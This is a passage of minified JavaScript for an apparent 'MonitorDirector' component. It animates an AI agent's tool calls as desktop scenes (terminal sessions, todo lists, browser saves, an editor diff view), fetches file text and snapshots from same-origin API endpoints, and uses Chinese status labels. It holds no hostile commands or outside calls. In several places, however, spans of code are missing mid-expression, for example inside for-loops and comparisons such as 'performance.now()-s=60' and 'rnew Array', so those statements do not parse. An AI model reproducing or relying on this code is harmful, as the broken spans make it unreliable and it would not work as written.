s=this.elements.todoWindow.querySelector(".traffic-dot.red");s&&(await this.movePointerToElement(s,{duration:420}),await this.click()),this.closeWindow(this.elements.todoWindow),this.resetTodoBoard({summary:!0,list:!0}),await u(320)},this.sceneHandlers.todoFinishConfirm=this.sceneHandlers.todoFinish,this.sceneHandlers.todoDelete=async(e,t)=>{var i,r;this.applySceneStatus(t,"todoDelete","正在移除待办");const s=((i=e==null?void 0:e.arguments)==null?void 0:i.title)||((r=e==null?void 0:e.arguments)==null?void 0:r.task)||null,n=this.findTodoItemByText(s);n&&(await this.scrollTodoItemIntoView(n),n.classList.add("removing"),await this.movePointerToElement(n,{duration:420}),await this.click({right:!0}),setTimeout(()=>n.remove(),260)),await u(280)},this.sceneHandlers.terminalSession=async(e,t)=>{var l,c,a,m,d,w,p,x,b,k,S,I,P,L;const s=(((l=e==null?void 0:e.arguments)==null?void 0:l.action)||(e==null?void 0:e.action)||"").toLowerCase();if(s==="reset"?this.applySceneStatus(t,"terminalSession","正在重置终端"):this.applySceneStatus(t,"terminalSession","打开终端"),s==="close"||s==="reset"){V("terminalSession:action",{action:s,payload:e});const E=this.resolveExistingSessionId(e);if(!E){V("terminalSession:action:no-session",{action:s});return}const R=this.getTerminalInstance();if(this.isWindowVisible(R.element)?this.showWindow(R.element):await this.revealTerminalWindow(R),s==="reset"){await this.openTerminalContextMenu(E),await this.chooseTerminalMenuAction("reset"),this.terminalHistories.set(E,[{text:"➜ ",role:"prompt"}]),this.renderTerminalHistory(E),this.appendTerminalNote(E,"终端已重置"),this.ensurePromptLine(E),await u(300);return}await this.openTerminalContextMenu(E),await this.chooseTerminalMenuAction("close"),this.closeTerminalSession(E),this.terminalSessions.size||this.closeWindow(this.elements.terminalWindow,{animate:!0}),await u(320);return}const n=((c=e==null?void 0:e.arguments)==null?void 0:c.session_id)||((a=e==null?void 0:e.arguments)==null?void 0:a.connection_id)||((m=e==null?void 0:e.arguments)==null?void 0:m.session)||((d=e==null?void 0:e.arguments)==null?void 0:d.session_name),i=((w=e==null?void 0:e.arguments)==null?void 0:w.session_name)||((p=e==null?void 0:e.arguments)==null?void 0:p.session)||((x=e==null?void 0:e.arguments)==null?void 0:x.name)||((b=e==null?void 0:e.arguments)==null?void 0:b.title)||((k=e==null?void 0:e.result)==null?void 0:k.session)||((S=e==null?void 0:e.result)==null?void 0:S.name)||(e==null?void 0:e.title)||null,r=i&&(this.terminalRawNameMap.has(i)||this.terminalSessionTitleMap.has(i)),o=((I=e==null?void 0:e.arguments)==null?void 0:I.create_new)===!0||((P=e==null?void 0:e.arguments)==null?void 0:P.new_session)===!0||((L=e==null?void 0:e.arguments)==null?void 0:L.force_new)===!0||!n&&this.terminalSessions.size>0&&!r;await this.ensureTerminalSessionReady(e,{focusPrompt:!1,forceNew:o,createIfMissing:!0,activate:!0}),await u(200)},this.sceneHandlers.terminalInput=async(e,t)=>{var l,c,a,m,d,w,p;this.applySceneStatus(t,"terminalInput","调用 terminal_input");const{sessionId:s}=await this.ensureTerminalSessionReady(e,{focusPrompt:!0,activate:!0}),n=((l=e==null?void 0:e.arguments)==null?void 0:l.command)||((c=e==null?void 0:e.arguments)==null?void 0:c.input)||((a=e==null?void 0:e.result)==null?void 0:a.command)||((m=e==null?void 0:e.result)==null?void 0:m.input)||"";await this.typeSessionCommand(s,n);const i=await t.waitForResult(e.executionId||e.id).catch(x=>(console.warn("[MonitorDirector] terminalInput waitForResult error",x),null)),r=((d=i==null?void 0:i.result)==null?void 0:d.output)||((w=i==null?void 0:i.result)==null?void 0:w.stdout)||((p=i==null?void 0:i.result)==null?void 0:p.content)||(i==null?void 0:i.result)||"",o=this.sanitizeTerminalOutput(typeof r=="string"?r.split(` +`):Array.isArray(r)?r.map(String):[String(r||"")]);this.appendTerminalOutputs(s,n,o.length?o:["命令已发送"]),await u(400)},this.sceneHandlers.terminalSnapshot=async(e,t)=>{this.applySceneStatus(t,"terminalSnapshot","正在获取终端");const{sessionId:s}=await this.ensureTerminalSessionReady(e,{focusPrompt:!1,activate:!1});V("scene:terminalSnapshot:start",{sessionId:s}),await this.openTerminalContextMenu(s),V("scene:terminalSnapshot:menu-opened",{sessionId:s}),await this.chooseTerminalMenuAction("snapshot"),this.appendTerminalNote(s,"[Snapshot Captured]"),this.ensurePromptLine(s),await u(300)},this.sceneHandlers.terminalSleep=async(e,t)=>{var r,o;this.applySceneStatus(t,"terminalSleep","正在等待");const s=Number(((r=e==null?void 0:e.arguments)==null?void 0:r.duration)||((o=e==null?void 0:e.arguments)==null?void 0:o.seconds)||(e==null?void 0:e.seconds)||(e==null?void 0:e.duration))||5;if(await this.movePointerToDesktop(),await this.click({right:!0}),this.showContextMenu("desktop"),await u(200),!await this.highlightMenu("desktop","wait")){const l=this.elements.desktopMenu.querySelector('button[data-action="wait"]');l&&await this.movePointerToElement(l,{duration:320})}await this.click(),this.hideContextMenus(),await u(140);const i=t.waitForResult(e.executionId||e.id).catch(()=>null);await this.playWaitCountdown(s,i)},this.sceneHandlers.sleep=this.sceneHandlers.wait,this.sceneHandlers.webSave=async(e,t)=>{var r,o,l,c,a;this.applySceneStatus(t,"webSave","正在保存网页");const s=((r=e==null?void 0:e.arguments)==null?void 0:r.url)||((o=e==null?void 0:e.arguments)==null?void 0:o.target_url)||((l=e==null?void 0:e.result)==null?void 0:l.url)||((c=e==null?void 0:e.result)==null?void 0:c.source)||"";let n=null;s&&(n=await this.focusSearchResultByUrl(s)),n||(n=this.elements.browserResults.querySelector("li")),n?(this.showWindow(this.elements.browserWindow),await this.movePointerToElement(n,{duration:620}),await this.click({right:!0}),this.showContextMenu("browser")):(await this.movePointerToElement(this.elements.browserWindow,{offsetX:40,offsetY:-120}),await this.click({right:!0}),this.showContextMenu("browser")),await u(200),await this.highlightMenu("browser","save"),await this.click(),this.hideContextMenus();const i=((a=e==null?void 0:e.arguments)==null?void 0:a.path)||"saved-page.html";this.spawnDesktopFile(i.split("/").pop()||"saved-page.html"),await u(600)},this.sceneHandlers.genericTool=async(e,t)=>{const s=(e==null?void 0:e.name)||(e==null?void 0:e.tool)||"tool";this.applySceneStatus(t,"genericTool",`调用 ${s}`),await u(600)}}bindTerminalInteractions(){const e=this.elements.terminalAddButton,t=this.elements.terminalTabList,s=this.elements.terminalMenu;e&&e.addEventListener("click",this.handleTerminalAddClick),t&&(t.addEventListener("click",this.handleTerminalTabClick),t.addEventListener("contextmenu",this.handleTerminalTabContext)),s&&s.addEventListener("click",this.handleTerminalMenuClick),this.destroyFns.push(()=>{e==null||e.removeEventListener("click",this.handleTerminalAddClick),t==null||t.removeEventListener("click",this.handleTerminalTabClick),t==null||t.removeEventListener("contextmenu",this.handleTerminalTabContext),s==null||s.removeEventListener("click",this.handleTerminalMenuClick)})}bindManualInteractionListeners(){this.manualListenersAttached||(this.manualListenersAttached=!0,this.elements.screen.addEventListener("pointerdown",this.handleManualPointerDown),window.addEventListener("pointermove",this.handleManualPointerMove,{passive:!1}),window.addEventListener("pointerup",this.handleManualPointerUp),window.addEventListener("pointercancel",this.handleManualPointerUp),this.elements.screen.addEventListener("click",this.handleManualCloseClick,!0))}unbindManualInteractionListeners(){this.manualListenersAttached&&(this.manualListenersAttached=!1,this.elements.screen.removeEventListener("pointerdown",this.handleManualPointerDown),window.removeEventListener("pointermove",this.handleManualPointerMove),window.removeEventListener("pointerup",this.handleManualPointerUp),window.removeEventListener("pointercancel",this.handleManualPointerUp),this.elements.screen.removeEventListener("click",this.handleManualCloseClick,!0))}resetManualPositions(){this.manualPositions.size&&(this.manualPositions.forEach((e,t)=>{const s=this.windowAnchors.get(t);s&&this.positionWindow(t,s)}),this.manualPositions.clear())}beginManualDrag(e,t){if(!e)return;const s=e.getBoundingClientRect(),n=t.clientX-s.left,i=t.clientY-s.top;this.manualDragState={pointerId:t.pointerId,target:e,offsetX:n,offsetY:i};try{e.setPointerCapture(t.pointerId)}catch(r){console.warn("[MonitorDirector] setPointerCapture failed",r)}e.classList.add("manual-dragging"),this.updateManualDragPosition(t)}updateManualDragPosition(e){if(!this.manualDragState)return;const{target:t,offsetX:s,offsetY:n}=this.manualDragState;if(!t||!t.isConnected)return;const i=this.elements.screen.getBoundingClientRect(),r=e.clientX-i.left-s,o=e.clientY-i.top-n,{left:l,top:c}=this.clampWindowPosition(t,r,o);t.style.left=`${l}px`,t.style.top=`${c}px`,this.manualPositions.set(t,{left:l,top:c})}cancelManualDrag(){if(!this.manualDragState)return;const{target:e,pointerId:t}=this.manualDragState;e&&e.hasPointerCapture(t)&&e.releasePointerCapture(t),e==null||e.classList.remove("manual-dragging"),this.manualDragState=null}clampWindowPosition(e,t,s){const n=e.offsetWidth,i=e.offsetHeight,r=this.elements.screen.clientWidth-n-U,o=Math.max(Z,this.elements.screen.clientHeight-i-U),l=Math.min(Math.max(U,t),Math.max(U,r)),c=Math.min(Math.max(Z,s),o);return{left:l,top:c}}async movePointerToApp(e){this.refreshScreenRect();const t=this.appIcons.get(e);t?await this.movePointerToElement(t):await this.movePointerToDesktop()}async movePointerToDesktop(){return this.refreshScreenRect(),this.movePointerToElement(this.elements.desktopGrid,{offsetX:160,offsetY:120,duration:700})}async movePointerToElement(e,t={}){if(!e||(this.refreshScreenRect(),this.elements.screen.clientWidth<1||this.elements.screen.clientHeight<1))return;this.raiseWindowForTarget(e),this.progressBubbleBase?ie("movePointer:preserve-progress",{target:e instanceof HTMLElement?e.className||e.tagName:e==null?void 0:e.toString()}):this.dismissBubble(!0);const{offsetX:s=0,offsetY:n=0,duration:i=900}=t,r=e.getBoundingClientRect();if(r.width<1&&r.height<1)return;const o=r.left-this.screenRect.left+r.width/2+s,l=r.top-this.screenRect.top+r.height/2+n,c=o-X.x,a=l-X.y;this.updatePointerTransform(c,a,i),await u(i+60)}isWindowVisible(e){return!!e&&e.classList.contains("visible")}async simulateResultBrowsing(e=2){const t=this.elements.browserResults;if(!t)return;const s=t.scrollHeight-t.clientHeight;if(s<=0)return;const n=Math.max(12,t.clientHeight/2-14),i=520,r=t.getBoundingClientRect(),o=r.left-this.screenRect.left+r.width/2-X.x,l=r.top-this.screenRect.top+r.height/2+n-X.y,c=r.top-this.screenRect.top+r.height/2-n-X.y;for(let a=0;as.remove(),450)}getPointerTip(){return{x:this.pointerBase.x+X.x,y:this.pointerBase.y+X.y}}flushPendingPointerTransform(){if(!this.pendingPointerTransform)return;const e=this.pendingPointerTransform;this.pendingPointerTransform=null,this.updatePointerTransform(e.x,e.y,e.duration)}updatePointerTransform(e,t,s=0){var l,c;if(!Number.isFinite(e)||!Number.isFinite(t))return;const n=this.elements.screen.clientWidth||((l=this.screenRect)==null?void 0:l.width)||0,i=this.elements.screen.clientHeight||((c=this.screenRect)==null?void 0:c.height)||0;if(n<1||i<1)return;const r=Math.min(Math.max(0,e),Math.max(0,n-10)),o=Math.min(Math.max(0,t),Math.max(0,i-10));this.elements.mousePointer.style.setProperty("--mouse-duration",`${Math.max(s,0)}ms`),this.elements.mousePointer.style.transform=`translate3d(${r}px, ${o}px, 0)`,this.pointerBase={x:r,y:o}}clampToScreen(e,t,s,n,i=12){const r=this.elements.screen.clientWidth-s-i,o=this.elements.screen.clientHeight-n-i;return{x:Math.min(Math.max(i,e),Math.max(i,r)),y:Math.min(Math.max(i,t),Math.max(i,o))}}setupScreenObserver(){typeof ResizeObserver>"u"||(this.screenObserver=new ResizeObserver(e=>{var i,r;const t=Array.isArray(e)?e[0]:null,s=((i=t==null?void 0:t.contentRect)==null?void 0:i.width)||this.elements.screen.clientWidth,n=((r=t==null?void 0:t.contentRect)==null?void 0:r.height)||this.elements.screen.clientHeight;s<1||n<1||(this.refreshScreenRect(),this.flushPendingPointerTransform())}),this.screenObserver.observe(this.elements.screen),this.destroyFns.push(()=>{var e;return(e=this.screenObserver)==null?void 0:e.disconnect()}))}showWindow(e){e.classList.remove("closing"),e.classList.add("visible");const t=this.windowAnchors.get(e);t&&this.positionWindow(e,t),this.pushWindowToStack(e),e===this.elements.folderWindow&&this.refreshFolderIconStates()}pushWindowToStack(e){e&&(this.windowOrder=this.windowOrder.filter(t=>t&&t!==e&&t.classList.contains("visible")),this.windowOrder.push(e),this.enforceWindowLimit(),this.updateWindowZIndices())}enforceWindowLimit(){if(this.windowOrder.length){for(this.windowOrder=this.windowOrder.filter(e=>e&&e.classList.contains("visible"));this.windowOrder.length>this.maxVisibleWindows;){const e=this.windowOrder.shift();e&&(this.closeWindow(e,{animate:!0}),this.purgeExtractionWindowByElement(e))}this.updateWindowZIndices()}}updateWindowZIndices(){this.windowOrder.forEach((t,s)=>{t&&t.classList.contains("visible")&&(t.style.zIndex=String(30+s))})}closeWindow(e,t={}){if(!e)return;const s=e===this.elements.folderWindow;if(s&&(this.activeFolder=null),this.windowOrder=this.windowOrder.filter(i=>i&&i!==e),!(t.animate??!1)){e.classList.remove("visible","closing"),this.updateWindowZIndices(),s&&this.refreshFolderIconStates();return}e.classList.contains("closing")||(e.classList.add("closing"),setTimeout(()=>{e.classList.remove("visible","closing"),this.updateWindowZIndices(),s&&this.refreshFolderIconStates()},320))}raiseWindowForTarget(e){const t=this.findWindowAncestor(e);t&&(this.windowOrder=this.windowOrder.filter(s=>s&&s!==t&&s.classList.contains("visible")),this.windowOrder.push(t),this.enforceWindowLimit(),this.updateWindowZIndices())}findWindowAncestor(e){let t=e;for(;t&&t!==this.elements.screen;){if(t instanceof HTMLElement&&t.classList.contains("window"))return t;t=t.parentElement}return null}showContextMenu(e,t){const n={desktop:this.elements.desktopMenu,folder:this.elements.folderMenu,file:this.elements.fileMenu,browser:this.elements.browserMenu,terminal:this.elements.terminalMenu,focus:this.elements.focusMenu}[e];if(!n)return;n.classList.add("visible");const i=this.getPointerTip(),r=typeof(t==null?void 0:t.x)=="number"?t.x:i.x+16,o=typeof(t==null?void 0:t.y)=="number"?t.y:i.y+16,{x:l,y:c}=this.clampToScreen(r,o,n.offsetWidth,n.offsetHeight);n.style.left=`${l}px`,n.style.top=`${c}px`}hideContextMenus(){[this.elements.desktopMenu,this.elements.folderMenu,this.elements.fileMenu,this.elements.focusMenu,this.elements.browserMenu,this.elements.terminalMenu].forEach(e=>{e.classList.remove("visible"),e.querySelectorAll("button").forEach(t=>t.classList.remove("active"))}),this.hideSecondaryMenu(),this.hideWaitOverlay(),this.terminalContextSessionId=null}hideSecondaryMenu(){this.secondaryMenu&&this.secondaryMenu.parentElement&&this.secondaryMenu.parentElement.removeChild(this.secondaryMenu),this.secondaryMenu=null}showSecondaryMenu(e,t){if(this.hideSecondaryMenu(),!e||!t.length)return null;const s=document.createElement("div");s.className="context-menu secondary-menu visible",t.forEach(c=>{const a=document.createElement("button");a.textContent=c.label,a.dataset.action=c.action,s.appendChild(a)}),this.elements.screen.appendChild(s);const n=e.getBoundingClientRect(),i=n.right-this.screenRect.left+10,r=n.top-this.screenRect.top+4,{x:o,y:l}=this.clampToScreen(i,r,s.offsetWidth||180,s.offsetHeight||60);return s.style.left=`${o}px`,s.style.top=`${l}px`,this.secondaryMenu=s,y("secondaryMenu:show",{items:t.map(c=>c.action),anchorRect:{left:n.left,top:n.top,width:n.width,height:n.height},pos:{x:o,y:l}}),s}async chooseSecondaryMenuAction(e){var s;const t=((s=this.secondaryMenu)==null?void 0:s.querySelector(`button[data-action="${e}"]`))||null;return t?(y("secondaryMenu:choose",{action:e,rect:t.getBoundingClientRect().toJSON?t.getBoundingClientRect().toJSON():t.getBoundingClientRect()}),await this.movePointerToElement(t,{duration:320}),t.classList.add("active"),await u(200),t.classList.remove("active"),await this.click(),await u(140),this.hideSecondaryMenu(),!0):(y("secondaryMenu:missing-btn",{action:e,hasMenu:!!this.secondaryMenu}),!1)}async highlightMenu(e,t){const n={desktop:this.elements.desktopMenu,folder:this.elements.folderMenu,file:this.elements.fileMenu,browser:this.elements.browserMenu,terminal:this.elements.terminalMenu,focus:this.elements.focusMenu}[e],i=n==null?void 0:n.querySelector(`button[data-action="${t}"]`);return i?(await this.movePointerToElement(i,{duration:360}),i.classList.add("active"),await u(240),i.classList.remove("active"),!0):!1}async openTerminalContextMenu(e){const t=this.getTabElement(e);let s;if(t){V("openContextMenu:move-to-tab",{sessionId:e,tabText:t.textContent}),await this.movePointerToElement(t,{duration:420}),await this.click({right:!0});const i=t.getBoundingClientRect();s={x:i.left-this.screenRect.left+i.width/2,y:i.top-this.screenRect.top+i.height/2},V("openContextMenu:tab-rect",{sessionId:e,rect:i,coords:s})}else V("openContextMenu:no-tab",{sessionId:e}),await this.movePointerToElement(this.elements.terminalWindow,{offsetX:18,offsetY:0,duration:420}),await this.click({right:!0});this.terminalContextSessionId=e,this.showContextMenu("terminal",s);const n=await this.waitForMenuVisible(this.elements.terminalMenu);V("openContextMenu:visible",{sessionId:e,visible:n}),n&&this.elements.terminalMenu&&this.snapPointerToElement(this.elements.terminalMenu)}async chooseTerminalMenuAction(e){V("chooseMenuAction:start",{action:e});const t=this.elements.terminalMenu,s=(t==null?void 0:t.querySelector(`button[data-action="${e}"]`))||null;if(s)await this.waitForMenuVisible(t),await this.movePointerToElement(s,{duration:320}),this.snapPointerToElement(s),s.classList.add("active"),await u(200),s.classList.remove("active"),V("chooseMenuAction:target",{action:e,rect:s.getBoundingClientRect().toJSON?s.getBoundingClientRect().toJSON():s.getBoundingClientRect()});else{const n=await this.highlightMenu("terminal",e);V("chooseMenuAction:highlight",{action:e,highlighted:n}),!n&&t&&(await this.movePointerToElement(t,{duration:260}),this.snapPointerToElement(t),V("chooseMenuAction:fallback-move",{action:e}))}await this.click(),await u(160),this.hideContextMenus(),V("chooseMenuAction:done",{action:e})}async waitForMenuVisible(e,t=240){if(!e)return!1;const s=performance.now();for(;!e.classList.contains("visible")&&performance.now()-s=60){const t=Math.floor(e/60).toString().padStart(2,"0"),s=(e%60).toString().padStart(2,"0");return`${t}:${s}`}return`${e}s`}async playWaitCountdown(e=5,t){const s=Math.max(1,Math.round(e));if(!this.elements.waitOverlay||!this.elements.waitCountdown)return;const n=this.getPointerTip();this.elements.waitOverlay.style.left=`${n.x+16}px`,this.elements.waitOverlay.style.top=`${n.y-28}px`;const i=performance.now();this.elements.waitCountdown.textContent=this.formatWaitText(s),this.elements.waitOverlay.classList.add("active"),this.waitOverlayTimer&&(clearInterval(this.waitOverlayTimer),this.waitOverlayTimer=null);let r=0;const o=()=>{const a=(performance.now()-i)/1e3,m=s-a;if(this.elements.waitCountdown)if(m>0)this.elements.waitCountdown.textContent=this.formatWaitText(Math.ceil(m));else{const d=Math.ceil(-m),w=".".repeat(r);r=(r+1)%4,this.elements.waitCountdown.textContent=`等待中 +${d}s${w}`}};this.waitOverlayTimer=window.setInterval(o,260);const l=t||Promise.resolve(),c=new Promise(a=>setTimeout(a,s*1e3));try{await Promise.all([l.catch(()=>null),c])}finally{o(),this.hideWaitOverlay()}}snapPointerToElement(e,t=0,s=0){if(!e)return;const n=e.getBoundingClientRect(),i=n.left-this.screenRect.left+n.width/2+t,r=n.top-this.screenRect.top+n.height/2+s,o=i-X.x,l=r-X.y;this.updatePointerTransform(o,l,0)}spawnDesktopFolder(e){const t=this.createDesktopFolderIcon(e);return t.classList.add("temporary-shortcut"),this.elements.desktopGrid.appendChild(t),requestAnimationFrame(()=>t.classList.add("visible")),this.folderIcons.set(e,t),this.pendingDesktopFolders.delete(e),this.folderEntries.has(e)||this.folderEntries.set(e,[]),t}async waitForDesktopFolderIcon(e,t=1600){const s=Date.now();let n=this.folderIcons.get(e)||null;for(;!n&&Date.now()-ss.classList.add("visible")),s):null}spawnDesktopFile(e){const t=document.createElement("div");t.className="desktop-icon app";const s=document.createElement("img");s.src=this.assets.fileIcon,s.alt=e,t.appendChild(s);const n=document.createElement("span");return n.textContent=e,t.appendChild(n),t.classList.add("temporary-shortcut"),t.style.opacity="0",this.elements.desktopGrid.appendChild(t),requestAnimationFrame(()=>{t.style.transition="opacity 0.4s ease, transform 0.4s ease",t.style.opacity="1",t.style.transform="translateY(-6px)"}),this.fileIcons.set(e,t),t}async openFolder(e,t){e&&(await this.loadFolderEntries(e),this.activeFolder=e,this.showWindow(this.elements.folderWindow),this.elements.folderHeaderText.textContent=t||e||"workspace",this.renderFolderEntries(e),this.refreshFolderIconStates())}setFolderIconState(e){if(!e)return;const t=this.folderIcons.get(e);if(!t)return;const s=t.querySelector("img");s&&(s.src=this.assets.folderIcon)}removeFolderEntry(e,t){const s=this.folderEntries.get(e);if(!s)return;const n=s.find(r=>r.name===t)||null,i=s.filter(r=>r.name!==t);if(this.folderEntries.set(e,i),(n==null?void 0:n.type)==="folder"){const r=this.composePath([e,t].filter(Boolean));r&&this.folderEntries.has(r)&&this.folderEntries.delete(r)}this.activeFolder===e&&this.renderFolderEntries(e,!1)}closeFolder(){this.activeFolder=null,this.elements.folderWindow.classList.remove("visible"),this.refreshFolderIconStates()}renameFolderEntry(e,t,s,n={}){const i=this.folderEntries.get(e);if(!i)return;const r=i.find(o=>o.name===t);if(r&&(r.name=s,r.path=this.composePath([e,s].filter(Boolean)),r.type==="folder")){const o=this.composePath([e,t].filter(Boolean)),l=this.composePath([e,s].filter(Boolean));if(o&&l&&this.folderEntries.has(o)){const c=this.folderEntries.get(o)||[];this.folderEntries.delete(o),this.folderEntries.set(l,c)}}this.folderEntries.set(e,i),!n.skipRender&&this.activeFolder===e&&this.renderFolderEntries(e,!1)}renameDesktopEntry(e,t){const s=e.querySelector("span");s&&(s.textContent=t)}async animateRenameLabel(e,t){if(!e)return;const s=e.querySelector("span");if(!s)return;const n=s.textContent||"";if(n!==t){for(let i=n.length;i>0;i-=1)s.textContent=n.slice(0,i-1),await u(it);for(let i=0;i{if(l===e||l.startsWith(`${e}/`)){const c=t+l.slice(e.length),a=o.map(m=>{const d=m.path.startsWith(e)?t+m.path.slice(e.length):m.path;return{...m,path:d}});i.set(c,a)}else i.set(l,o)}),this.folderEntries=i;const r=this.desktopRoots.indexOf(e);r>=0&&(this.desktopRoots[r]=t),this.activeFolder&&(this.activeFolder===e?this.activeFolder=t:this.activeFolder.startsWith(`${e}/`)&&(this.activeFolder=t+this.activeFolder.slice(e.length))),s.skipRender||(this.renderDesktopFolders(),this.refreshFolderIconStates())}openEditorWindow(e){this.showWindow(this.elements.editorWindow),this.elements.editorHeaderText.textContent=e,this.elements.editorBody.innerHTML="",this.editorScene.lines=[],this.editorScene.placeholder=!1,this.elements.editorBody.scrollTo({top:0})}renderEditorPlaceholder(e){this.elements.editorBody.innerHTML="";const t=document.createElement("div");t.className="code-line placeholder visible",t.textContent=e,this.elements.editorBody.appendChild(t),this.editorScene.lines=[],this.editorScene.placeholder=!0,this.elements.editorBody.scrollTo({top:0})}async fetchEditorFileLines(e){var i;const t=(e||"").trim();if(!t)return null;const s=typeof AbortController<"u"?new AbortController:null,n=s?window.setTimeout(()=>s.abort(),8e3):null;try{const r=await fetch(`/api/gui/files/text?path=${encodeURIComponent(t)}`,{method:"GET",credentials:"include",headers:{Accept:"application/json"},signal:s==null?void 0:s.signal});if(n&&clearTimeout(n),!r.ok)return D("fetchFileLines:http-error",{path:t,status:r.status}),null;const o=await r.json().catch(()=>null);if(!o)return null;const l=typeof(o==null?void 0:o.content)=="string"?o.content:typeof((i=o==null?void 0:o.data)==null?void 0:i.content)=="string"?o.data.content:null;if(typeof l!="string")return D("fetchFileLines:empty",{path:t}),null;const c=this.normalizeLines(l);return D("fetchFileLines:resolved",{path:t,length:c.length}),c}catch(r){return(r==null?void 0:r.name)==="AbortError"||console.warn("[MonitorDirector] fetchEditorFileLines failed",r),null}finally{n&&clearTimeout(n)}}async fetchMonitorSnapshotById(e,t="before"){var r,o,l;const s=typeof e=="number"?String(e):(e||"").trim();if(!s)return null;const n=typeof AbortController<"u"?new AbortController:null,i=n?window.setTimeout(()=>n.abort(),6e3):null;try{const c=await fetch(`/api/gui/monitor_snapshot?executionId=${encodeURIComponent(s)}&stage=${t}`,{method:"GET",credentials:"include",headers:{Accept:"application/json"},signal:n==null?void 0:n.signal});if(!c.ok)return D("snapshotFetch:http-error",{executionId:s,stage:t,status:c.status}),null;const a=await c.json().catch(()=>null);if(!(a!=null&&a.success)||!(a!=null&&a.snapshot))return D("snapshotFetch:empty",{executionId:s,stage:t}),null;const m=typeof((r=a.snapshot)==null?void 0:r.content)=="string"?a.snapshot.content:typeof((o=a.snapshot)==null?void 0:o.text)=="string"?a.snapshot.text:Array.isArray((l=a.snapshot)==null?void 0:l.lines)?a.snapshot.lines:null;return m===null?(D("snapshotFetch:no-content",{executionId:s,stage:t}),null):this.normalizeLines(m)}catch(c){return(c==null?void 0:c.name)==="AbortError"||console.warn("[MonitorDirector] fetchMonitorSnapshot failed",c),null}finally{i&&clearTimeout(i)}}prepareEditorScene(e){const t=this.sanitizeEditorLines(e);if(D("prepareScene",{normalizedLength:t.length}),!t.length){this.renderEditorPlaceholder("(文件当前为空)");return}this.renderEditorSnapshot(t)}sanitizeEditorLines(e){const t=this.normalizeLines(e);return t.length?t.slice(0,K):[]}renderEditorSnapshot(e){const t=this.sanitizeEditorLines(e);if(!t.length){this.renderEditorPlaceholder("(文件当前为空)");return}this.editorScene.lines=t.slice(),this.editorScene.placeholder=!1;const s=this.elements.editorBody;s.innerHTML="";const n=document.createDocumentFragment();t.forEach((i,r)=>{n.appendChild(this.buildEditorLineElement(i,r))}),s.appendChild(n),s.scrollTo({top:0}),this.syncEditorIndices(),requestAnimationFrame(()=>{s.querySelectorAll(".code-line").forEach((r,o)=>{setTimeout(()=>r.classList.add("visible"),Math.min(o,10)*30)})})}buildEditorLineElement(e,t,s,n){const i=document.createElement("div"),r=["code-line"];s&&r.push(s),i.className=r.join(" "),i.dataset.index=String(t);const o=(n==null?void 0:n.prefill)!==!1;return i.textContent=o?e||" ":"",i}syncEditorIndices(){Array.from(this.elements.editorBody.children).forEach((e,t)=>{e instanceof HTMLElement&&(e.dataset.index=String(t))})}async focusEditorLine(e){const t=this.elements.editorBody;if(!t)return;const s=t.children[e];if(!s)return;const n=t.getBoundingClientRect(),i=s.getBoundingClientRect(),r=i.top+i.height/2-(n.top+n.height/2),o=Math.abs(r),l=Math.max(0,t.scrollTop+r),c=o<24?"auto":"smooth";try{t.scrollTo({top:l,behavior:c})}catch{t.scrollTop=l}const a=Math.min(700,Math.max(220,o*.8));await u(a)}async animateEditorTransition(e){const t=this.editorScene.lines.slice(),s=this.sanitizeEditorLines(e),n=s.length;if(D("animate:start",{currentLines:t.length,targetLines:n}),!t.length&&!s.length){this.renderEditorPlaceholder("(文件当前为空)");return}if(n>30){this.renderEditorSnapshot(s);return}if(n>8){await this.animateEditorLineFill(s);return}if(t.length>De||s.length>De){D("animate:skip-large",{currentLines:t.length,targetLines:s.length}),this.renderEditorSnapshot(s);return}const i=this.buildEditorDiff(t,s),r=this.mergeEditorOperations(i),o=r.reduce((a,m)=>{var d;return m.type==="delete"?a:a+(((d=m.text)==null?void 0:d.length)||0)},0),l=r.length;if(this.editorSpeedBoost=this.computeEditorSpeedBoost(o,l),D("animate:operations",{count:r.length}),!r.length){s.length||this.renderEditorPlaceholder("(文件当前为空)");return}const c=r.slice(0,_e);for(const a of c)a.type==="delete"?await this.animateEditorDeletion(a.index):a.type==="replace"?await this.animateEditorReplacement(a.index,a.text||""):await this.animateEditorInsertion(a.index,a.text||"");if(r.length>_e){D("animate:exceed-limit",{total:r.length}),this.renderEditorSnapshot(s);return}if(!s.length){this.renderEditorPlaceholder("(文件当前为空)");return}this.editorScene.lines=s.slice(),this.syncEditorIndices(),D("animate:done",{finalLines:this.editorScene.lines.length}),this.editorSpeedBoost=1}async animateEditorLineFill(e){const t=this.sanitizeEditorLines(e);if(!t.length){this.renderEditorPlaceholder("(文件当前为空)");return}const s=this.elements.editorBody;s.innerHTML="",t.forEach((r,o)=>{const l=this.buildEditorLineElement("",o,void 0,{prefill:!1});s.appendChild(l)}),s.scrollTo({top:0});const n=28,i=Array.from(s.children);for(let r=0;rnew Array(n+1).fill(0));for(let d=s-1;d>=0;d-=1)for(let w=n-1;w>=0;w-=1)e[d]===t[w]?i[d][w]=i[d+1][w+1]+1:i[d][w]=Math.max(i[d+1][w],i[d][w+1]);const r=[];let o=0,l=0;for(;o=i[o+1][l])){r.push({type:"insert",text:t[l]}),l+=1;continue}o{if(d.type==="keep"){m+=1;return}if(d.type==="insert"){const w=Math.min(m,a.length);c.push({type:"insert",index:w,text:d.text||""}),a.splice(w,0,d.text||""),m+=1;return}if(d.type==="delete"){const w=Math.max(a.length-1,0),p=Math.min(m,w);c.push({type:"delete",index:p}),a.splice(p,1)}}),D("diff",{before:e.length,after:t.length,rawOps:r.length,operations:c.length}),c}mergeEditorOperations(e){const t=[];for(let s=0;sK){for(this.editorScene.lines=this.editorScene.lines.slice(0,K);s.children.length>K;){const l=s.lastElementChild;if(!l)break;s.removeChild(l)}this.syncEditorIndices(),D("insert:trim",{length:this.editorScene.lines.length})}}async animateEditorDeletion(e){const t=this.elements.editorBody;if(!t.children.length)return;const s=Math.max(0,Math.min(e,t.children.length-1)),n=t.children[s];if(!n){this.renderEditorSnapshot(this.editorScene.lines);return}await this.focusEditorLine(s),n.classList.add("diff-delete"),await this.eraseLineText(n),n.classList.add("removing"),await u(120),n.remove(),this.editorScene.lines.splice(s,1),this.syncEditorIndices()}async animateEditorReplacement(e,t){const s=this.elements.editorBody;if(!s.children.length){await this.animateEditorInsertion(e,t);return}const n=Math.max(0,Math.min(e,s.children.length-1)),i=s.children[n];if(!i){await this.animateEditorInsertion(e,t);return}const r=typeof t=="string"?t:"";await this.focusEditorLine(n),i.classList.add("diff-replace"),await this.eraseLineText(i,{instant:!1}),await 